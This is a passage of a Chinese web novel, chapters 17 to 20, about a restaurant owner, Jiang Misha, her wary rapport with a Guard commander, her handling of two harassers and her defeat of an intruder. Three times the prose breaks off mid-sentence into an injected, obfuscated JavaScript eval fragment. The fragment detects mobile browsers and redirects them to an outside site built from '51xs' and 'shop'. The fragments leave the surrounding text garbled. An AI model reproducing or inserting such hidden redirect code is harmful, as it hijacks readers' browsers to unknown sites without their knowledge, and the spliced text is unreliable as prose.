江弥杉：“一十九。” ：“可有婚配？” 江弥杉：“……” 江弥杉展颜一笑：“已有婚配。” 睁眼说瞎话，有时候也是很必要的，排除一些不必要的麻烦。 翁桓很是可惜，家中小子今年已二十，还未定亲，此女样貌出众，厨艺精湛，若是结了亲，就便宜许多了…… ：“厨房有事要忙，先告辞了。” 李曼柯见人走远，才蹙着眉道：“你该不会是还想着帮玉鑫结亲吧？” 翁桓坐下：“这不是没成嘛！” ：“怪可惜的。” 李曼柯：“……” 癞蛤蟆想吃天鹅肉，玉鑫那副模样，那配得上江姑娘！ 吃完茶饮点心，两人离去。 转眼入夜，江弥杉已打算回去，却不想三日不见的指挥使冷着脸走进。 一身华贵的飞鱼服，红底绣金，头戴黑纱帽，更趁得他威武挺拔。 江弥杉端上用薏米、核桃、腰果等内料调制而成藕粉羹，：“大人请用。” 李定卓未置一词，只用冷冽的目光盯着她，看至她扬起的唇角，看她离开，又垂眸望着稀稠的藕粉羹。 又过片刻，江弥杉端出餐食，是莲子炖鸡与清炒虾仁。 那碗藕粉羹却一动未动。 江弥杉探问：“可是不合大人味口？” 李定卓目光沉沉，直直望着带着探究的弥杉，说出了进屋后的第一句话：“你何时已有婚配？” 17. 莲子炖鸡 ：“大人在乎这个做什么？”江弥杉几乎脱口而出。 话音掷地有声，待话说出口，江弥杉才反应过来，先是露出一个标准的笑，轻轻笑两声，手藏在袖中扣着袖边的针脚，对着那对带着审视的眼，生出几抹心虚。 她轻咳一声，清清嗓子，解释：“是随口糊弄食客的，如此一说，能减去许多麻烦不是？” 鸡肉黄白飘于灿黄清池间，静净池璧镀层晶晶油亮，暖红的枸杞、红枣，淡黄的莲子点缀其间间，清水光莹润，十分清爽诱人。 未尝得鲜味，已觉那抹鲜香萦绕于舌尖。 李定卓盛起一勺剔透见底的汤：“为何不说你是寡妇？” 江弥杉呵呵笑，：“寡妇门前是非多。” ：“你到聪慧。” ：“都是些小聪明。” 鸡汤鲜美香醇，携有莲子的清爽，微微回甘，想来炖鸡时火候掌控的极好，将鸡与莲子的精华都融于汤内。 心思如此细腻，因而说起慌，都不带片刻犹豫，语气坚定，神色镇定，难怪令人深信不疑。 李定卓淡淡道：“你该咬定了才对，否则禁不起问，自己就招了。” 江弥杉紧张地一咽，揣摩起这句话的意思。 就因为前不久那句话，他该不会真要将她压入镇抚司，吃点苦头？ 转念一想，江弥杉又觉着不是，要压早压了，何必等今天。 今日他穿服制来，定是处理完公务，衣裳都不换，就来了。 这么着急，进来话都不说，问的第一句就是她午间的一句玩笑话。 江弥杉微微眯眼，觉察出一丝不同寻常的意味。 她走至对面坐下，轻飘飘地说出一句：“如何会有人抓住民女，审问我是否定亲呢？” 李定卓夹肉的动作明显一滞，眨眼间的功夫又恢复寻常，反问了声是吗。 江弥杉笑道：“若是改日我真定了亲，也是顺其自然，何人会探究我从前所说是假。” 李定卓抬眼，肉送至口边却为咬进去，只做寻常地问：“看上那家儿郎了？” 说完，他才咬进肉，本该香鲜的肉，不知为何忽有些发苦。 江弥杉转眼想了一圈，又抬起手数了几下，似是极其认真的在思索这个问题，准备给予对面的人一个满意的回答。 江弥杉又做数不清的模样：“京城俊逸的公子太多，一时间数不过来。” ：“是吗？” ：“嗯。” 李定卓淡淡抬眼，：“一会儿，我带你去个地方。” 江弥杉：“……” 完了，玩笑开过头了！！ 江弥杉紧急道：“民女家中还有亲友在等候呢，夜深了，若是晚归，她们会担心的。” 李定卓不以为意：“无妨，本指挥使，亲自，护送姑娘回家。” ：“还是不劳大人了……” ：“饭后消食，不算劳累。” ：“民女累，不想再多走路了。” 李定卓嗯一声，：“若是姑娘不介意，我打晕你，带你去，也可。” 闻言，江弥杉展颜一笑，笑声若脆铃：“大人驾车载我？” 话语间，江弥杉眼眸眉目闪着疑问，盯着李定卓要回答。 李定卓哑然，心里想出舌灿莲花四字，无论如何，他都说不过。 弥杉轻轻答过，问题都留的他，却一句也答不上。 李定卓夹莹白虾仁入口，尝得一口龙井茶香，而后才是鲜，虾肉软嫩弹口，动人心弦。 李定卓：“拖着你走。” 江弥杉挑眉：“那江记明日需打烊，民女得告假了。” 江弥杉笑着起身，走出几步，又往李定卓身上扫一眼，脸上笑意更甚，垂眸斟酌片刻，合起双手一拍，似做足了考虑，抬眼望着挂在壁上的抖动油灯。 ：“那大人吃辣之事可如何是好？” 说完，她似有所领悟：“嗯，京城厨子之多，找个符合心意的不难。” ：“如此看来，吃亏的还是民女。” 江弥杉转过身，：“因而，大人要带我去哪儿？” 李定卓盛一口浸汤的饭，上布一片白笋片，抬眼对上江弥杉的漆若幽夜，点有闪辰的黑眸。 他神色不变，风似的飘出一句：“沐花街。” 酸辣的笋片如一石击口泉，在舌尖荡起阵阵馋意的涟漪，浸了鲜汤的米饭，又多一抹沁入心舌的彩滋。 江弥杉短暂地闪过一道错愕，抬起眼帘，沐花街是何地，李定卓应该比她更清楚，去那个地方做什么。 她复杂地望向李定卓。 ＊ 江记熄灯打烊，江弥杉跟在李定卓身后，往街口走。 李定卓提着灯笼，神色淡然走在前。 目光落在眼前的身影，高挺似松，宽伟如岸，活阎王，朝内外众人兴许看到这身红衣金绣的服制都心惊。 阴晴不定，手段阴狠，是否每一任指挥使都是如此…… 因而他所在意的事，兴许也只是一时兴起，京城之大，天下之大，又是位高权重，走马观花。 江弥杉淡淡一笑，走上前，并肩走至李定卓身边，：“真要去沐花街？” 李定卓：“嗯，京城才俊，大多便在此处。” 江弥杉：“……”行呗，看了她还想嫁，她就是脑子有问题。 当下是定亲，久不见人就说夫君在外遭难，没了命，已守寡，无心再嫁。 江弥杉抬眸：“大人，我不去了。” 李定卓走着，：“去了，看清楚人，往后多要定亲，能往好里挑。” 江弥杉抬起衣袖：“我不定亲，不成婚就好了。” 李定卓目中光亮朝中凝定，停下脚步，转身，目中复杂地盯着眼下不似在看玩笑的人。 ：“你说什么？” 江弥杉深吸一口气，：“民女不定亲，不成婚就好。” 李定卓蹙眉，思绪从目前滑过，顺着一口热气，说出：“也不必如此。” 江弥杉笑起，：“大人兴许不知，许多人，为了得到秘方、食谱、江记，煞费苦心。” ：“江记、江记的每一道餐食，都是民女心血，不该是筹码，民女以及亲友，亦不是筹码。” ：“如此，孤身一人未必不好。” 街道的气似被凝固，由天上寒月清冷一泄，洒于街道之间，印于眼底，亦如清亮月色，四月相辉，波光莹莹。 李定卓拢起袖中长指，：“再等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009214|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等吧。” 江弥杉微微歪头：“嗯，那就等吧。” 她的理想才刚刚开始，兰香与万宜还未陪训出来，独当一面，想要招收更多的人，就要有人教带，一批一批，扩充江记的人才储备。 再接着做大，做强…… 至于…… 江弥杉望着李定卓，再等等，他口中的再等等，等他，还是等其他人？ 江弥杉暗暗头疼，还是先搞钱，搞钱重要！ 受不住江弥杉探究的目光，李定卓转身抬步，捏着袖中的手。 风拂袍边金云而过，缠绕至江弥杉的指尖，她指腹蹭过凉意，良久才收回目光，无声轻笑，快步跟上。 哎，一时兴起的指挥使，兴许某日午夜梦回，想起自己这些几次提前转移目光的黑历史，会揪着被褥，暗暗后悔的吧！ 行至巷口，江弥杉：“大人就送到这吧，京城安全，民女自行回去吧。” 李定卓未停下脚步，：“未必。” 江弥杉啊了一声，转头往背后的一片暗色看去。 ：“昨夜，一位商户的女入城后失踪了。” 江弥杉心头一惊，转过头，蹙起眉，今日并未听说此事，兴许这对京中之人不过是件小事，有或许，此事被压下了。 江弥杉：“那可有下落？” 李定卓：“此事，不归镇抚司管。” 借着蒙蒙月光，江弥杉观望着上方终日不见一丝不动的神色，犹若巍峨不动的雪山，寒意疏人。 李定卓今夜是为了这件事特意来的，只是兴许听了谁人议论她定亲的事，着急了，到这会儿，才露出原本的目地。 但此事，必须也要与兰香、万宜交代，否则，就早些打烊，等到此事有定论，在延长。 江弥杉轻声道：“多谢大人。” 李定卓提着灯，照亮路前一道光亮，低低嗯一声，：“无事。” ：“不过，今日往后，入夜前会提前打烊，大人勿要白跑一趟。” ：“若需光临，请早些来，那时，菜食也会更丰富。” 江弥杉扫一眼李定卓身上的服制：“最好，身着便装来。” 李定卓：“……” 江弥杉解释：“民女是不怕的，但到食肆用饭的食客未必不会因流言蜚语而惧怕锦衣卫势力，请大人见谅。” 说完，江弥杉又笑道：“待江记扩大店面，设几包间，勿说大人，便是锦衣卫的诸位大人，来此做宴都可行。” 李定桌却问：“你不信流言蜚语？” 江弥杉：“信一半，镇抚司兴许审问严厉兴许是以讹传讹，但为朝廷纠察百官，是真。” ：“越是盘根错节，连根拔起就越难，不明真相之人，见此架势，难免会生出恐惧。” 江弥杉回忆起从前诸事，吐出一口凉气，：“但求无愧于心。” 李定卓垂眸，看江弥杉唇角落下，猜想她大约是想起往事，没有多说，收回还未来得及掩藏回忆的目光。 上任指挥使构陷将军的不耻之事，被彻查的一清二楚，震惊朝野。 皇帝的眼睛，反过来，也可是利益熏心的刀子。 但求，无愧于心，再造冤案。 江弥杉兴许是想说这个。 18. 晶润烧鸭 ：“这道烧鸭，到有些不同。” 花易仟眼底印着盘闪目暖棕，油光锃亮，肉汁漫流，盘底堆起晶珠，与寻常烤鸭的干润不同，眼前这盘，湿润又软耙。 他话音刚落，身后走进两位高挑的男子，江弥杉眨眼睛地功夫，目光往门口一扫，正好抓住人，见兰香端茶走去招待，笑着道：“晶润烧鸭，晶润便在此处了。” 花易仟哈哈笑两声：“还是打包一只吧。” 江弥杉笑答一声好，：“老伯慢用。” 几桌前，章文安也点了菜：“晶润烤鸭、蒜香虾仁、辣白菜炒五花……” 章文安抬头，又确定了一回，问李定卓：“你当真能吃辣了？” 李定卓端茶，浅抿一口，目光只做寻常地望着那身蓝影进厨房：“嗯。” 如今，他已经能够正常地吃些辣食，在不依靠解辣汤的情况下，也能坦然进食。 但……还是只有江弥杉做的，才能饱腹。 章文安接道：“再来道拔丝红薯。” 兰香记了菜就忙去抱给厨房，临了补一句：“锦衣卫的两位大人又来了。” 方万宜专心翻着鸡块，浇一勺棕红的蒜汁进过，顿时爆开浓烈的香辣蒜气。 江弥杉从火光焰焰的散香烤壁里取下一只橘棕的烤鸭。 滴滴油汁从暖棕皮层之上滑流而下，皮表如一层晶璧，随着鸭身转动，显出簇簇晶光，色泽亮艳，十分诱人。 江弥杉提着鸭子到案板边，：“仔细招待着就好。” 说着，她取下钩子字，握刀从正中劈开鸭身，锁在身内的香汁顿时涌出，随之，粉嫩的鸭肉展露眼底，镀着层汁光。 三五下噔噔声落，一只烧鸭就被劈成均等大小的肉块，连着肉汁，被放入白瓷餐碟。 江弥杉捏过白帕，擦净碟边汤汁，才摆放至三碟蘸酱的托盘内，一起送出去。 香起缭绕的鸭子抬至眼底，着实令人眼前一亮，本就是空着肚子来的，香气似已经顺着轻舞着的白烟撩拨起舌头，章文安不住咽下一口馋汁。 江弥杉目光在三碟酱上一点，又抬眼依次介绍：“从左至右，依次是甜面酱、梅子酱、蒜蓉辣酱，公子们可都尝尝。” 听她说完，李定卓才道：“再添盏茶。” 江弥杉笑答一声好，去提茶水，章文安盯着适才被一饮而尽茶，道：“虽说一路未喝茶水，但也不至于如此吧。” 李定卓淡淡看章文安一眼，：“至于，吃你的吧。” 江弥杉提着茶来，笑斟一盏，又问章文安：“公子可需盏茶。” ：“暂且不用。” ：“好，公子慢用。” 李定卓等人离开，才夹起一块滴汁的鸭肉，用小碟盛着，送入口中。 鸭皮薄脆，香气醇厚，随之入口的鸭肉也十分香嫩，在汁水的滋润之下，口感更加润，又有嚼劲，又嫩，在舌尖爆出香味烟花，思绪在此刻都为之停滞。 对面的章文安已经情不自禁地宣囔出来，：“好吃！” 李定卓则沉默地吃完，挑饭入口。 ：“还得是江姑娘，鸭子烤的比宫里还美味”章文安夹着鸭块，往棕黑的甜面酱之上一点。 ：“我就说来了不后悔吧，回去吃，有什么意思。” ：“外出一回才来，要不是忙，我早就想来了吃一顿了。” 李定卓细嚼慢咽完，眼里未有一丝波动，：“嗯，的确可入口。” 章文安便侃侃而谈起来：“适才你还说不来，这会儿脸疼不？” ：“你看周围的这些人，那个不是吃得眉眼带笑的。” 李定卓未往四周看，继续夹肉蘸红梅子酱，：“多谢了。” 章文安诧异地挑眉，觉着何处怪异，却又说不上来，狐疑地观察几眼李定卓，却找不出蛛丝马迹。 不对啊，往日定卓那有这般好说话！ 李定卓夹着鸭肉入口，梅子酱的酸甜味如一常果雨，颤动舌尖，洗涤还未消散的肉荤残味，清新又开胃，衬托起香醇的鸭肉更可口了许多。 李定卓正细品着，忽闻背后传来两句交谈声。 ：“如此稀罕啊，倒不如那她做个妾，院子里开个小厨房，你想吃什么，她不得巴巴的端来给你。” ：“人家是定了亲的！” ：“定了亲又如何，明的不行，咱们就来暗的，喏，你不是点了酒嘛，借酒摸摸手，搂搂腰，你看她那腰肢，只有巴掌大，哎呦……” ：“嘿嘿嘿……” 声音不大，但他全听得清清楚楚。 李定卓侧头，目光沉沉地往声音所来的地方盯了一眼，是两个少爷，看清楚样貌，他收回目光。 恰此时，江弥杉端着菜走来，那一个男子的声音响在耳边：“姑娘，再加一壶金泉酒。” 江弥杉上着菜，酒由兰香去取。 李定卓目光往她身上一带，低低咳了一声。 江弥杉看过去，就见李定卓那颗黑眸子往左一滑，看过去，就是适才点酒的两位公子。 菜香飘飘，章文安一双眼睛都香的迷糊了。 那两人得了酒，又干一杯，将江弥杉叫过去：“姑娘我们再点几样菜。” 江弥杉心觉不妙，细想了一会儿，大致有了头绪。 她笑着走过去，李定卓夹起金黄相间的红粉虾仁。 章文安夹上红艳艳的辣五花，送入口中，在酸意与辣意的夹攻下，满足地嗯了一声。 江弥杉走至桌边，笑问：“公子想点些什么？” 潋滟笑眼，抓的他心痒，那就装一把！ 那人捏起酒杯：“姑娘先……帮我添杯酒吧~” 江弥杉笑意更甚，应了下来，提起酒壶倒酒。 ：“姑娘的手，可真白啊……” 江弥杉：“公子自重。” 那人没理，抬手摸上，细腻又温热，他正想夸赞，却不曾想那手竟绕着他腕子反扣了他的手，捏得人发疼，随后又松开，跌撞几步，垂头扶着墙。 旁边的人正要发作，已被抢了先。 江弥杉耷拉下乌眉，唇角往下拉，哭了出来：“公子为何如此羞辱我，我已有婚约在身，做得是正经食肆，公子如此，我还有有何脸面……呜呜呜呜” 满堂人闻声看来，就见江姑娘捧着脸，哭的一颤颤的，再一看，罪魁祸首可不就是适才要酒的两个人。 兰香与方万宜急得跑来，章文安砸下筷子，：“大胆！” 说着就气冲冲地走过去，李定卓跟着起身。 两人见此状，出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009215|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意的先道：“胡说八道，分明是她勾引我兄弟！” 江弥杉抽泣：“待人接客，不笑着，难道还有挎着脸不成……若这是勾引，那小女岂不是将诸位，都勾引了一道吗？” 动手的也快速回过弯来，：“你是看我气质不凡！起了心的！！” 闻言，江弥杉“哭”的更厉害了，趴在兰香怀里，就差要岔气了：“店里不乏穿戴不凡的，小女若有这个心思，哪里还会继续呆在此处开店，风吹日晒……。” 围观的人一听，却是有几分道理，坐在里面的，那个不是有些银两的官宦、公子，若是说这个，江姑娘早就嫁了！ ：“我知道了，是你们两个调戏江姑娘不成，反而倒打一耙！” ：“就是就是！！江姑娘绝不是那等轻佻的女子！！” 江弥杉抖着声：“今日若是不说清楚，我……再不开店了！” “不行啊！快说！！”众人附和。 大势已去，两人咬牙在心里怒骂，竟遇到个硬茬，只好交代了事情。 章文安一手捏起两个人，圆目瞪的极大，：“大庭广众之下，竟敢调戏良家女子！” 李定卓垂眸，盯着两个人，：“两个选择，第一，衙门走一趟。” ：“第二种，跪下嗑三个响头，给姑娘配不是。” ：“磕头！！给江姑娘陪不是！！”周围人齐声道。 真是太过分了！江姑娘生得是好，可江姑娘待人接客懂礼又细心，做得菜食还这般好吃！！！ 怎么敢色欲熏心，动手动脚的。 江弥杉这时才捏着帕子从兰香肩头起来，抹泪道：“无需如此，真心实意赔个不是就好……” 兰香：“……”姑娘没哭啊。 不过都是那两个心存龌龊的人的错！！ 想及曾经，兰香恨得牙痒，方万宜轻轻在江弥杉身侧侧安抚。 两人赔了不是，付了钱，就被章文安提着胳膊，一脚踹了出去。 江弥杉又站在桌旁平复了一会儿，虽然是只打雷不下雨的劣质演技，但好歹有用。 电视剧没有白看，怎么委屈，怎么难过，她还是掌握了的。 一时有食客结账，方万宜与兰香便去忙，李定卓轻咳一声，瞧着面前露出两双毫不湿润的眼，：“帕子还是干的。” 江弥杉：“……”她又不是专业的，说哭立刻就哭的出来！ 江弥杉小声道：“下回真哭。” 李定卓哑然，轻咳一声：“到也无需如此。” 江弥杉：“公子快回座用饭吧，菜食凉了就该不失味了。” 说完，江弥杉捏着帕子，垂头走过。 花易仟叫住江弥杉，：“江姑娘，人在外，还是要有把可心的护身之物，方能保住自身呐。” 江弥杉垂眸道谢：“多谢老伯，我改日便去寻一件防身物。” ：“老伯也快用饭吧，趁热吃，身上也暖乎。” 说完，江弥杉走进厨房。 李定卓收回视线，与章文安也坐回原处，继续用饭。 菜食夹在筷里，李定卓的思绪却飘至另一件事上。 该为她添一件防身物才可，否则，就添一个人，盯着，时刻注意有何异像，若是出了问题，好歹也有人帮衬。 19. 莲子枣泥糕 京中夜里“采花”之状，愈演愈烈，江记食肆提前打样的时辰也更早了，太阳落山前，街道之上少有游人，家家户户门窗紧闭，待天一黑，道路上只几只鸟雀在拍翅。 再有上回调戏的事情，回家后，江弥杉便将上辈子与保镖学的几招，原封不动地教给了兰香与方万宜，并叮嘱二人夜里无论有任何动静，第一时间，必要保全自己。 这日夜里，乌云遮月，本该是已经安置的时候，江弥杉却毫无睡意，点燃榻边烛台上的蜡烛，忽听瓦上几声响，不是猫，也不是鸟雀停落的动静。 短暂地出神过后，她抬眼望向屋顶，随后果断吹灭蜡烛，拿过床上叠放在一旁的厚被褥，裹成一团，塞进被褥，只穿着一身薄寝衣，抽下一条腰带，赤脚打开卧房的门，离开，再轻轻合上。 江弥杉先戳开窗上一眼，观望外方是否有人把守，间院子里无人，才轻轻打开门走出，将腰带拧成绳，系紧门锁，又缠绕几转，合成粗条，轻轻沿廊下蹲着走，远远瞧见屋檐上站着个穿白衣的人，趴在瓦上，朝里丢了一团东西。 见人进去了，江弥杉深吸一口气，快步跑去万宜与兰香的寝居处，敲响四下门。 这是约定好的，若是有任何情况，敲四下门，就是危险，需集中。 对着的两扇门打开，兰香与方万宜披着外衫，见江弥杉从厨房探头，朝正屋使了个眼色，两人立刻明白过来，忙往厨房跑。 江弥杉心还在砰砰直跳，待两人进屋了，才道：“他往里丢了个东西，兴许是迷香，估计就要破门了。” 他，便是采花贼。 有武功，又带着迷香，兰香停了脸都白了，方万宜深吸一口气问：“那接下来该如何是好？” 江弥杉：“埋伏起来，我来守着，他若是进来，我就给他一棍子。” ：“切记，如果他投入什么东西一定要掩住口鼻，现在去搬水缸，堵住门。” 说完，三人走向两个储水的水缸，合力推着水缸往门边走，院子里果然响起骂骂咧咧的叫嚷声，不堪入耳。 兰香颤抖着身子，方万宜紧紧握住她的手，：“别怕。” 江弥杉握着木棍，紧紧盯着外方是否有动静。 随着一道窗户被打破的声响，江弥杉一颗心提到了嗓子眼。 ：“好好好，躲起来了！我到要看看，你能躲去哪里！” ：“今夜必定将你办！” 兰香与方万宜望向神色冷静的江弥杉。 :"藏起来。"江弥杉盯着窗户纸。 ：“快！” 方万宜拉着兰香离开，江弥杉摸过菜刀，蹲至摆放蔬菜的木架之后，门崩崩被踹了几脚，外面的人发现踹不开门，冷笑一声，：“好好好，今日就在厨房办了你！” 江弥杉冷冷一笑。 这么看，他只有拿一个迷药。 江弥杉站起身，在窗子被突破，嘣的一声过后，地咚的震了一下。 ：“躲在哪儿呢？别白费力气。” ：“这是件快活事，保证你一次就爱上……” ：“乖乖出……” 安静的只剩下呼吸声的室内，磅的一声落下，接着地面就是一震。 江弥杉握着棍子，看面前的贼人倒下，又补了一棍，嘴角扬起，垂下一双黑暗中透亮的眸子：“我在你身后，surprise。” 愚蠢且自大，竟敢倒着走，但凡有点防备意识，她也不会那么轻易就把人打倒。 江弥杉冷嘲一笑，丢下棍子，刚迈出一步，准备去寻麻绳把人捆起来。 ：“江弥杉。” 一道熟悉的声音从破了的窗间随凉风飘至耳畔。 循声望去，月光下，李定卓持着把寒剑，站在窗外，眼底的诧异还未来得及散去。 江弥杉也是一愣，：“大人？”穆然觉着安心了许多，唇角微微扬起。 她能装成是贼自己倒的吗？ ＊ 官府的衙役赶到时，江弥杉已穿戴整齐，兰香与方万宜先各自回屋。 李定卓后来进了屋，确保她身上没有伤口后，才去放了一支信号烟。 回来又解下斗篷，披在江弥杉身上，看她光脚而出，催她去穿衣，又提着被捆起的人去了院子里。 江弥杉轻声道：“屋里都是迷烟……” 最后，兰香找了套衣裳给江弥杉换上。 衙役带走了昏迷的采花贼，锦衣卫的众人也先告辞，四下无人，唯有风声，江弥杉才问：“大人怎么来得如此巧？” 李定卓如实道：“心感不祥，顺道过来一探究竟。” 江弥杉愈发坚定了从前的种种猜测，轻笑：“有劳大人奔走一趟，多谢。” ：“可……弥杉不傻，大人。” 李定卓垂眸，静池般的目光总算有了波动，心脚也跟着凌乱，：“所以呢？” 江弥杉垂眸：“得大人垂爱，小女受宠若惊。” ：“你想的过多了，我是奉命，要保你安全。”李定卓扣着食指的甲面，抬眸，眸底晦暗不明地盯着远方的冷月。 江弥杉微微挑起眉，思绪眨眼间的停滞后，轻笑一声，他都这样说了，再追究下去，反倒没有意思。 奉命就奉命吧…… 江弥杉：“民女今后会万分小心，保重自己，少让大人操心。” 李定卓嗯了一声，骤然却觉心里泛上一抹嘲讽。 他不敢承认的，江弥杉已经知晓了，即便如此，他仍无法说出或是肯定…… 江弥杉该有一位贴心的人陪在她身边，让她能更安稳的生活。 他终究是不配的，不配的…… 李定卓呼出噎在心口的气，：“时候不早了，早些安置吧。” 江弥杉：“大人奔波一路，喝盏茶，缓会儿神，在走也不迟。” 说完也不等李定卓回答，转身就去厨房拿为明日的早饭准备的蒸糕。 现烹的茶，配莲子枣泥花糕，江弥杉端出时，李定卓已坐在树下，点起了石桌之上的油灯。 蒙蒙灯光映照间，明黄的烛光，他一向透冰含雪的面旁依旧如往常一般，照不进一丝光彩，死寂，如同失去了活意。 是身居高位的习惯，还是另有隐情，还是那桩，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009216|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口中的事…… 江弥杉甩甩脑袋，将多余的想法带出思绪，一阵风过携过，她端着茶点走过去。 江弥杉端上茶点，两盏茶，一碟白色花糕。 李定卓端起茶，闻得是上好的雨前龙井：“江弥杉，你的胆子，要比我想得更大些。” 江弥杉抿一口茶，：“紧要关头，不得不发。” 茶水慢慢回起一道幽幽甜意，沿舌浮升。 李定卓淡淡开口，：“只是木棍，不够，你需要的是要一击即中。” 江弥杉：“……” ：“我定了把匕首，改日送于你。”他捏起糕。 江弥杉眸光一闪，带着几分诧异望向李定卓，她没想到，李定卓已有了防心，甚至已经去做。 她放下茶盏，：“多谢大人，请问大人付多少钱两？” 糕绵密软香，谷物自有的米香，携着莲子的清新香味，伴随着一抹不叫人生腻的甜，在口中散漫。 软糯香甜，接起茶回起的微微甘意，仿佛此处并未小院，而是粉荷摇曳，月色喜人的荷上小亭，酌一杯漫香清茶，随荷香染舌。 李定卓：“无需付我银两。” 他顿了顿，又道：“至于匕首该如何用，我慢慢教你。” 江弥杉探问：“……在何处教？” 李定卓：“我在京郊的一处别院，我会派车来接你。” ：“你来，为我单独作一餐饭，如此，就当抵了。” 事是李定卓提前就决定的，且，并不是一件难以接受的事，回绝的话，反倒错过了一个锻炼身体的好机会，待学得差不多了，就教给兰香和万宜。 江弥杉没有犹豫，应了下来，：“就如此吧，又有劳大人了。” 李定卓唇角微微扬起，正如他所想，江弥杉是不会拒绝的。 说完，李定卓从袖中拿出几个柱，放上桌，抬眼对着那双疑问的眼，：“下回，若再有如此事情，得以应对，不要下死手，无法应对，就打开一柱，烟火腾空，我会快速赶来。” 江弥杉想起适才又敲得那一下，那应该也不算下死手吧，算为了确保安全，再补一下…… 江弥杉道了谢，细细品味了最后的迅速赶来四字。 镇抚司里清尚街还有些距离，就是轻工踩瓦，也来不及，转念，江弥杉又想到另一种可能，李定卓会派人在附近巡查…… 有了这个想法，江弥杉脑补了片刻，但思绪很快就一个突然闯进的回忆引到其他事情上。 江弥杉斟酌着道：“大人，我们第一次见，应该不是在小摊吧？” 此问，李定卓出乎意料，他目中在短暂的愣后恢复寻常，端茶浅抿一口，：“不是。” 那就对上了，她到清尚街的第一天，那日在巷中遇到的人，就是李定卓。 所以，他不是探亲访友，凑巧亲友不在，而是在等她！ 为什么？ 那时候，她并不认识他，原主的记忆里，也没有这样一个人物的存在，否则，她会像记得兰香那样，将人认出来的啊！ ：“大人认识我？”江弥杉脱口而出。 20. 蟹黄汤包 ：“督办案件，总有涉及，并不奇怪” 突如其来的问题，李定卓并无失措，顺口就答了出来。 江弥杉不知往事，更不会知晓内宅之外的事。 江弥杉蹙起眉尖，她还能不知晓他是负责查案。 她奇怪的是，李定卓不但认识她，而且，关系并不一般！ 江弥杉：“如此说，大人对所查案件中涉及色女眷，都会关照。” ：“大人，真是怜惜人啊。” 李定卓：“……” 对着江弥杉刨根问底的目光，沉默良久，李定卓道：“你是将军的幼女，将军对我有恩。” 知晓了原委，江弥杉蹙着的眉松散，她轻声道：“原来如此。” ：“多谢大人关照。” 李定卓沉默片刻，才道：“无需谢我，我只是报恩。” 说完，李定卓心内忽冒出一个弱弱的问声，是吗？ 李定卓喝口茶强压下去，是不是，他不说，谁又追究。 往事追忆起来只剩悲哀，沉默地吃完茶点，李定卓便离开，江弥杉目送他身影消失在暗夜，轻叹一声。 无论是如何恩情，但将军若是知晓当年帮助的人，今日有所成就，想来，他也会欣慰的吧。 想着，她打了个哈切，折腾一夜，走进兰香的屋子休息。 ＊ 采花盗贼落马，京中紧张的氛围消散了许多，江记打烊了两日才开门，久等了的食客，饭点未至就排在了门口。 秦绍麒随表弟卢灿宇排在队伍前，头顶热阳，他不住抬袖拭汗，却也没有埋怨一句，听着表弟说话 ， 卢灿宇自顾自的道：“今日江记也未打烊，表哥也有空，正好来吃顿好的，表哥别急，一会儿就营业了。” 秦绍麒：“我不急。”是饿。 交谈间，食肆的门由内打开，兰香站在门口旁，招呼：“客官里边请。” 卢灿宇眼睛一亮，转头对秦绍麒道：“走吧，表哥。” 两人进店，在第四桌坐下，卢灿宇快速点完菜，又宇秦绍麒道：“表哥放心，江记的菜食，无一不美味。” 秦绍麒笑道：“看来，你是熟客了？” 卢灿宇点头：“那是当然。” 秦绍麒笑着端茶抿一口，恰此时，食肆的人来上菜。 秦绍麒无意间扫过一眼，握着茶盏定在原处。 卢灿宇盯着圆碟内六个软塌塌的润润的包子，又望向上菜的江弥杉：“里面包的的蟹黄吧？” 江弥杉眯眼笑道：“正是蟹黄，两位客官慢用。” 说完，江弥杉转身去对桌的汤包。 秦绍麒不禁偏头，目光已随江弥杉而去。 ：“表哥尝尝味道如何。”卢灿宇端起一碟，，放至秦绍麒面前。 秦绍麒才回过神，目光又江弥杉走了几步，心生道道涟漪，他又垂眸望向堆满小碟的包子，笑道：“好。” 小碟一口尖吸，应该是吸汁所用。 秦绍麒端起小盏，手捏着筷子，从中间轻轻挑破软薄的面皮。 顿时涌出一股金黄的鲜泉，他端起盏，含入口中。 鲜美的汤汁立刻在舌尖绽开最是诱人的蟹肉醇香，思绪都为之让道、颤栗，热乎乎地沿着喉咙流入，鲜香的风味似流进了血液，环过身心，只觉喝尽了都不够，甚是美味怡人。 碟内汤汁饮近，鲜美萦绕舌尖，秦绍麒放下碟子，满意地点头。 卢灿宇仍在回味，眉眼染喜，实在是太美味了！ 家中不是没有吃过蟹黄汤包，但从未吃过如此美味的！ 卢灿宇笑望秦绍麒：“表哥觉得如何？” 秦绍麒：“极为美味。” 美味已无法匹及，令人身心一亮…… 